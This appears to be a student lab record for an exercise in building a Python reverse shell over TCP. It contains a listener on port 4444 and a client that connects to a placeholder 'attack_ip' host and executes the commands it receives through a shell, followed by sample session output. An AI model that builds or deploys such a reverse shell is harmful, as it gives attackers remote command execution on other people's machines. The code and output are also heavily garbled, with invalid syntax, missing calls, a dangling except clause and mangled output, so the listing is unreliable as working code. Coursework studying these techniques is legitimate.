EX.NO:9
19/09/25

Develop a program to create reverse shell using TCP socket program

AIM:

To develop a program to create reverse shell using TCP socket program.

CODE:

Server side:

```
import socket
def start_server(host = '0.0.0.0',
                 port = 4444):
    server_socket = socket.socket(
        socket.AT_NET socket.
                    STREAM)
server_socket.bind((host, port))
server_socket.listen(1)
print(f"listening on {host}:
        {port}....")
client_socket, client_address = server_
                    socket accept()
print(f"connection from {client_
        address} established!")

while True:
    command = input("shell>")
    if command.lower() == 'exit':
        client_socket.send(b'exit')
        break
    if command:
        client_socket.send(
            command.encode())
    response = client_socket.recv(1024)
    print(response.decode(),
                end="")
```

```
client_socket.close()
server_socket.close()
if __name__ == "main":
    start_server('0.0.0.0', 4444)
```

client code:

```
import socket
import subprocess
def reverse_shell(host = 'attack_ip',
                  port = 4444):
    client_socket = connect((host, port))
    while True:
        command = client_socket.recv(1024)
                  decode()
        if command.lower() == 'exit':
            print("closing connection")
            break
        output: subprocess.run(command,
                shell = true, capture_output true)

    except Exception as e:
        print(f"error: {e}")
    finally:
        client_socket.close()
if __name__ == "__main__":
```

RESULT:

Thus program to create reverse shell using TCP socket program.

Output:

Server side:

Listening on 0.0.00:494
connection from ('192.168.1.101", 12345)

shell > whoami
uses
shell > ls
file1.txt
file2.text
shell > exit
connection closed